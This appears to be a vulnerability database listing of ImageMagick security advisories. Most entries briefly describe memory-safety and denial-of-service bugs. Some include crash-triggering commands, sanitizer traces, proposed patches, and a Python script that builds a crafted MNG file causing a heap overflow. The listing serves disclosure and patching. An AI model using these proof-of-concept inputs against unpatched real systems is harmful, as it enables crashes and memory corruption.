| VCID-784p-34mz-vucz | ImageMagick has a Memory Leak in magick stream ## Summary In ImageMagick's `magick stream` command, specifying multiple consecutive `%d` format specifiers in a filename template causes a memory leak. ## Details - **Vulnerability Type:** Memory leak - **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) ## Reproduction ### Tested Environment - **Operating System:** Ubuntu 22.04 LTS - **Architecture:** x86_64 - **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0) ### Reproduction Steps ```bash # Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1 # Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install # Trigger crash ./utilities/magick stream %d%d a a ``` ### Output ``` $ magick stream %d%d a a stream: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746. stream: missing an image filename `a' @ error/stream.c/StreamImageCommand/755. ================================================================= ==114==ERROR: LeakSanitizer: detected memory leaks Direct leak of 152 byte(s) in 1 object(s) allocated from: #0 0x7fc4ebe58887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x7fc4eb563c5c in AcquireMagickMemory MagickCore/memory.c:559 #2 0x7fc4eb563c82 in AcquireCriticalMemory MagickCore/memory.c:635 #3 0x7fc4eb60c2be in AcquireQuantumInfo MagickCore/quantum.c:119 #4 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335 #5 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292 #6 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x55a34f7c0a0c in MagickMain utilities/magick.c:153 #8 0x55a34f7c0cba in main utilities/magick.c:184 #9 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x7fc4ebe5957c in __interceptor_posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:226 #1 0x7fc4eb680e2f in AcquireSemaphoreMemory MagickCore/semaphore.c:154 #2 0x7fc4eb680f30 in AcquireSemaphoreInfo MagickCore/semaphore.c:200 #3 0x7fc4eb60d38d in GetQuantumInfo MagickCore/quantum.c:435 #4 0x7fc4eb60c30e in AcquireQuantumInfo MagickCore/quantum.c:121 #5 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335 #6 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292 #7 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x55a34f7c0a0c in MagickMain utilities/magick.c:153 #9 0x55a34f7c0cba in main utilities/magick.c:184 #10 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 SUMMARY: AddressSanitizer: 216 byte(s) leaked in 2 allocation(s). ``` ### Commits Fixed in https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c and https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b |
CVE-2025-53019
GHSA-cfh4-9f7v-fhrc |
| VCID-7t1t-1spz-gfee | ImageMagick has a heap-buffer-overflow ### Summary While Processing a crafted TIFF file, imagemagick crashes. ### Details Following is the imagemagick version: ``` imagemagick_git/build_26jun23/bin/magick --version Version: ImageMagick 7.1.1-13 (Beta) Q16-HDRI x86_64 56f478940:20230625 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI Delegates (built-in): fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff webp x xml zlib Compiler: gcc (4.2) ``` ### PoC issue can be replicated with following command with provided POC file(sent over email): ```bash magick poc.tiff /dev/null ``` ### Impact This can lead to application crash. ### Credits Please give credits to Hardik shah of Vehere (Dawn Treaders team) |
CVE-2025-68469
GHSA-fff3-4rp7-px97 |
| VCID-9ewm-6688-kkar | ImageMagick has a Stack Buffer Overflow in image.c Hi, we have found a stack buffer overflow and would like to report this issue. Could you confirm if this qualifies as a security vulnerability? I am happy to provide any additional information needed. ## Summary In ImageMagick's `magick mogrify` command, specifying multiple consecutive `%d` format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through `vsnprintf()`. ### Additional information Upon further investigation, we found that the same issue occurs not only with mogrify but also with the following subcommands: compare, composite, conjure, convert, identify, mogrify, and montage. Furthermore, we confirmed that this vulnerability has the potential to lead to RCE. RCE is possible when ASLR is disabled and there is a suitable one_gadget in libc, provided that options and filenames can be controlled. ## Details - **Vulnerability Type:** CWE-124: Buffer Underwrite - **Affected Component:** MagickCore/image.c - Format processing within InterpretImageFilename() - **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) - **CWE-124: Buffer Underwrite:** A vulnerability where writing occurs to memory addresses before the beginning of a buffer. This is caused by a design flaw in fixed offset correction, resulting in negative pointer arithmetic during consecutive format specifier processing. ## Reproduction ### Tested Environment - **Operating System:** Ubuntu 22.04 LTS - **Architecture:** x86_64 - **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0) ### Reproduction Steps ```bash # Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1 # Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install # Trigger crash ./utilities/magick mogrify %d%d ``` ### Output ```plaintext ==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10 WRITE of size 2 at 0x7ffda834caae thread T0 #0 0x7f1ea367fb26 in __interceptor_vsnprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 #1 0x7f1ea2dc9e3e in FormatLocaleStringList MagickCore/locale.c:470 #2 0x7f1ea2dc9fd9 in FormatLocaleString MagickCore/locale.c:495 #3 0x7f1ea2da0ad5 in InterpretImageFilename MagickCore/image.c:1696 #4 0x7f1ea2c6126b in ReadImages MagickCore/constitute.c:1051 #5 0x7f1ea27ef29b in MogrifyImageCommand MagickWand/mogrify.c:3858 #6 0x7f1ea278e95d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x560813499a0c in MagickMain utilities/magick.c:153 #8 0x560813499cba in main utilities/magick.c:184 #9 0x7f1ea1c0bd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #10 0x7f1ea1c0be3f in __libc_start_main_impl ../csu/libc-start.c:392 #11 0x560813499404 in _start (/root/workdir/ImageMagick/utilities/.libs/magick+0x2404) Address 0x7ffda834caae is located in stack of thread T0 at offset 62 in frame #0 0x7f1ea2c60f62 in ReadImages MagickCore/constitute.c:1027 This frame has 2 object(s): [32, 40) 'images' (line 1033) [64, 4160) 'read_filename' (line 1029) <== Memory access at offset 62 underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 in __interceptor_vsnprintf Shadow bytes around the buggy address: 0x100035061900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061920: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 0x100035061930: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100035061940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100035061950: f1 f1 00 f2 f2[f2]00 00 00 00 00 00 00 00 00 00 0x100035061960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000350619a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4155==ABORTING ``` ### Affected Code In `MagickCore/image.c`, within the `InterpretImageFilename()` function: ```c MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } field_width=0; if (*q == '0') field_width=(ssize_t) strtol(q,&q,10); switch (*q) { case 'd': case 'o': case 'x': { q++; c=(*q); *q='\0'; /*--------Affected--------*/ (void) FormatLocaleString(filename+(p-format-offset),(size_t) (MagickPathExtent-(p-format-offset)),p,value); offset+=(4-field_width); /*--------Affected--------*/ *q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if (*(q-1) != '%') break; p++; break; } case '[': { ... } default: break; } } ``` ## Technical Analysis This vulnerability is caused by an inconsistency in the template expansion processing within `InterpretImageFilename()`. The format specifiers `%d`, `%o`, and `%x` in templates are replaced with integer values by `FormatLocaleString()`, but the output buffer position is calculated by `filename + (p - format - offset)`. The `offset` variable is cumulatively incremented to correct the output length of `%d` etc., but the design using a static `offset += (4 - field_width)` causes `offset` to increase excessively when `%` specifiers are consecutive in the template, creating a dangerous state where the write destination address points before `filename`. The constant `4` was likely chosen based on the character count of typical format specifiers like `%03d` (total of 4 characters: `%`, `0`, `3`, `d`). However, in reality, there are formats with only 2 characters like `%d`, and formats with longer width specifications (e.g., `%010d`), so this uniform constant-based correction is inconsistent with actual template structures. As a result, when the correction value becomes excessive, `offset` exceeds the relative position `p - format` within the template, generating a negative index. This static and template-independent design of the correction processing is the root cause of this vulnerability. This causes `vsnprintf()` to write outside the stack buffer range, which is detected by AddressSanitizer as a `stack-buffer-overflow`. ## Proposed Fix In `MagickCore/image.c`, within the `InterpretImageFilename()` function: ```c MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... /*--------Changed--------*/ ssize_t field_width, offset, written; // Added /*--------Changed--------*/ ... for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } field_width=0; if (*q == '0') field_width=(ssize_t) strtol(q,&q,10); switch (*q) { case 'd': case 'o': case 'x': { q++; c=(*q); *q='\0'; written = FormatLocaleString(filename+(p-format-offset),(size_t) (MagickPathExtent-(p-format-offset)),p,value); /*--------Changed--------*/ if (written <= 0 || written > (MagickPathExtent - (p - format - offset))) return 0; offset += (ssize_t)((q - p) - written); /*--------Changed--------*/ *q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if (*(q-1) != '%') break; p++; break; } case '[': { ... } default: break; } } ``` - By updating `offset` based on the difference between template description length `(q - p)` and the number of output bytes `written`, buffer position consistency is maintained. - Correction is performed according to the actual template structure, ensuring stable behavior regardless of format length without relying on static constants. - Range checking of `written` allows detection of vsnprintf failures and excessive writes. ### Commits Fixed in https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774 and https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e |
CVE-2025-53101
GHSA-qh3h-j545-h8c9 |
| VCID-acsa-1uwk-fqee | ImageMagick has Possible Heap Information Disclosure in PSD ZIP Decompression ### Description A heap information disclosure vulnerability exists in ImageMagick's PSD (Adobe Photoshop) format handler. When processing a maliciously crafted PSD file containing ZIP-compressed layer data that decompresses to less than the expected size, uninitialized heap memory is leaked into the output image. ### Expected Impact Information disclosure leading to potential exposure of sensitive data from server memory. |
CVE-2026-24481
GHSA-96pc-27rx-pr36 |
| VCID-b43n-3d1g-u3fe | ImageMagick's failure to limit MVG mutual causes Stack Overflow Magick fails to check for circular references between two MVGs, leading to a stack overflow. |
CVE-2025-68950
GHSA-7rvh-xqp3-pr8j |
| VCID-b5pd-kk97-gban | ImageMagick: Converting multi-layer nested MVG to SVG can cause DoS Magick fails to check for multi-layer nested mvg conversions to svg, leading to DoS. |
CVE-2026-24484
GHSA-wg3g-gvx5-2pmv |
| VCID-cbqr-aybx-d3e6 | ImageMagick has Use After Free in MSLStartElement in "coders/msl.c" A crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing. |
CVE-2026-25983
GHSA-fwqw-2x5x-w566 |
| VCID-cuhw-ew1g-s3h2 | ImageMagick has Heap Use-After-Free in ImageMagick MSL decoder A heap use-after-free vulnerability in ImageMagick's MSL decoder allows an attacker to trigger access to freed memory by crafting an MSL file. ``` ================================================================= ==1500633==ERROR: AddressSanitizer: heap-use-after-free on address 0x527000011550 at pc 0x5612583fa212 bp 0x7ffedb86d160 sp 0x7ffedb86d150 READ of size 8 at 0x527000011550 thread T0 ``` |
CVE-2026-28687
GHSA-fpvf-frm6-625q |
| VCID-d8yf-8rff-3yhf | ImageMagick has a possible infinite loop in its JPEG encoder when using `jpeg:extent` A `continue` statement in the JPEG extent binary search loop in the jpeg encoder causes an infinite loop when writing persistently fails. An attacker can trigger a 100% CPU consumption and process hang (Denial of Service) with a crafted image. |
CVE-2026-26283
GHSA-gwr3-x37h-h84v |
| VCID-dtza-65ku-aber | ImageMagick has NULL pointer dereference in ReadSFWImage after DestroyImageInfo (sfw.c) In `ReadSFWImage()` (`coders/sfw.c`), when temporary file creation fails, `read_info` is destroyed before its `filename` member is accessed, causing a NULL pointer dereference and crash. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1414421==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x56260222912f bp 0x7ffec0a193b0 sp 0x7ffec0a19360 T0) #0 0x56260222912f (/data/ylwang/LargeScan/targets/ImageMagick/utilities/magick+0x235f12f) ``` |
CVE-2026-25795
GHSA-p33r-fqw2-rqmm |
| VCID-e3ne-1hd5-dyfg | ImageMagick: Incorrect Handling of Image Depth in MIFF Processing in ImageMagick |
CVE-2025-43965
|
| VCID-eb4u-x1mt-2uan | ImageMagick: Division by zero in sRGBTransformImage() in MagickCore/colorspace.c |
CVE-2021-20311
|
| VCID-ef36-52cx-dfg5 | imagemagick: integer overflows in MNG magnification ## **Vulnerability Details** The magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption. The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured. ```c static Image *ReadOneMNGImage(MngReadInfo* mng_info, const ImageInfo *image_info,ExceptionInfo *exception) { // Lots of stuff, this is effectively a state machine for the MNG rendering commands, // skip to the point where we start processing the "MAGN" command. if (memcmp(type,mng_MAGN,4) == 0) { png_uint_16 magn_first, magn_last, magn_mb, magn_ml, magn_mr, magn_mt, magn_mx, magn_my, magn_methx, magn_methy; // Details unimportant, but each of the `magn_xxx` variables is read from the file. if (magn_first == 0 || magn_last == 0) { /* Save the magnification factors for object 0 */ mng_info->magn_mb=magn_mb; mng_info->magn_ml=magn_ml; mng_info->magn_mr=magn_mr; mng_info->magn_mt=magn_mt; mng_info->magn_mx=magn_mx; mng_info->magn_my=magn_my; mng_info->magn_methx=magn_methx; mng_info->magn_methy=magn_methy; } } // Details unimportant, we load the image to be scaled and store it in `image` if (mng_type) { MngBox crop_box; if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) && ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5))) { png_uint_32 magnified_height, magnified_width; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing MNG MAGN chunk"); if (image->columns == 1) mng_info->magn_methx = 1; if (image->rows == 1) mng_info->magn_methy = 1; if (mng_info->magn_methx == 1) { magnified_width=mng_info->magn_ml; // [0] if (image->columns > 1) magnified_width += mng_info->magn_mr; // [1] if (image->columns > 2) magnified_width += (png_uint_32) ((image->columns-2)*(mng_info->magn_mx)); // [2] } // Different cases handle available scaling kinds, all of which have similar issues... // We now check whether the output image is larger than the input image in either // dimension, and if so, we will allocate a new image buffer of size // `magnified_width * magnified_height`. if (magnified_height > image->rows || magnified_width > image->columns) { Image *large_image; // Snip... large_image->columns=magnified_width; large_image->rows=magnified_height; magn_methx=mng_info->magn_methx; magn_methy=mng_info->magn_methy; // In between here, we allocate the pixel buffer for `large_image`. /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) GetPixelChannels(image)*image->columns; next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next)); prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (Quantum *) NULL) || (next == (Quantum *) NULL)) { if (prev != (Quantum *) NULL) prev=(Quantum *) RelinquishMagickMemory(prev); if (next != (Quantum *) NULL) next=(Quantum *) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); (void) memcpy(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); } for (i=0; i < m; i++, yy++) { Quantum *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); if (q == (Quantum *) NULL) break; q+=(ptrdiff_t) (large_image->columns-image->columns)* GetPixelChannels(large_image); // [3] ``` If we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \[0\] and \[1\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \[2\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required. When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \[3\] will end up with a `q` pointer outside the buffer bounds. This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation. Triggering this issue requires an `image` with large `columns` or `rows` (\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`). ## **Affected Version(s)** Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0). ### **Build Instructions** ```shell git clone https://github.com/imagemagick/imagemagick cd imagemagick export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address" export CXXFLAGS="-fsanitize=address" export LDFLAGS="-fsanitize=address" ./configure --disable-shared --disable-docs --with-jxl make -j ``` ## **Reproduction** ### **Test Case** This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write. ``` import struct import zlib def create_chunk(chunk_type, data): crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc) # MNG signature mng_signature = b'\x8aMNG\r\n\x1a\n' # --- Dimensions --- mhdr_width = 1 mhdr_height = 1 ihdr_width = 65538 # W: Original width to cause W' overflow ihdr_height = 1 # H: Original height # MHDR chunk (Valid small dimensions) mhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0) mhdr_chunk = create_chunk(b'MHDR', mhdr_data) # MAGN chunk: Trigger width overflow, force entry via height magn magn_first = 0 magn_last = 0 magn_methx = 1 magn_mx = 65535 # -> magnified_width = 65534 (overflow) magn_my = 2 # -> magnified_height = 2 (magn_mt=2) magn_ml = 65535 magn_mr = 65535 magn_mt = 2 # Force magnified_height > H (necessary to trigger large_image path) magn_mb = 1 magn_methy = 1 magn_data = struct.pack('>HHBHHHHHHB', magn_first, magn_last, magn_methx, magn_mx, magn_my, magn_ml, magn_mr, magn_mt, magn_mb, magn_methy) magn_chunk = create_chunk(b'MAGN', magn_data) # IHDR chunk ihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0) ihdr_chunk = create_chunk(b'IHDR', ihdr_data) # IDAT chunk (Minimal data for W x H grayscale pixels) scanline = b'\x00' + (b'\x00' * ihdr_width) compressed_scanline = zlib.compress(scanline) idat_chunk = create_chunk(b'IDAT', compressed_scanline) # IEND chunk iend_chunk = create_chunk(b'IEND', b'') # MEND chunk mend_chunk = create_chunk(b'MEND', b'') program_input = ( mng_signature + mhdr_chunk + magn_chunk + ihdr_chunk + idat_chunk + iend_chunk + mend_chunk ) print(f"Generated MNG size: {len(program_input)} bytes") with open("magn_write.mng", "wb") as tmp: tmp.write(program_input) ``` ### **Command** ```shell python3 ./generate_testcase.py utilities/magick ./magn_write.mng -resize 200x200 PNG:output.png ``` ### **ASan Backtrace** ``` ================================================================= ==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8 WRITE of size 4 at 0x7f80849757d0 thread T0 #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27 #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) 0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0) allocated by thread T0 here: #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7 #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10 #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46 #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18 #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28 #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10 #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7 #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28 #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed Shadow bytes around the buggy address: 0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa 0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==585863==ABORTING ``` ## **Reporter Credit** Google Big Sleep |
CVE-2025-55154
GHSA-qp29-wxp5-wh82 |
| VCID-emmr-15qp-vfah | ImageMagick has Global Buffer Overflow (OOB Read) via Negative Pixel Index in UIL and XPM Writer The UIL and XPM image encoder do not validate the pixel index value returned by `GetPixelIndex()` before using it as an array subscript. In HDRI builds, `Quantum` is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash. ``` READ of size 1 at 0x55a8823a776e thread T0 #0 0x55a880d01e85 in WriteUILImage coders/uil.c:355 ``` ``` READ of size 1 at 0x55fa1c04c66e thread T0 #0 0x55fa1a9ee415 in WriteXPMImage coders/xpm.c:1135 ``` |
CVE-2026-25898
GHSA-vpxv-r9pg-7gpr |
| VCID-f1zu-xb4j-8qhp | ImageMagick has a heap buffer over-read in its MAP image decoder A heap buffer over-read vulnerability exists in the MAP image decoder when processing crafted MAP files, potentially leading to crashes or unintended memory disclosure during image decoding. ``` ================================================================= ==4070926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002b31 at pc 0x56517afbd910 bp 0x7ffc59e90000 sp 0x7ffc59e8fff0 READ of size 1 at 0x502000002b31 thread T0 ``` |
CVE-2026-25987
GHSA-42p5-62qq-mmh7 |
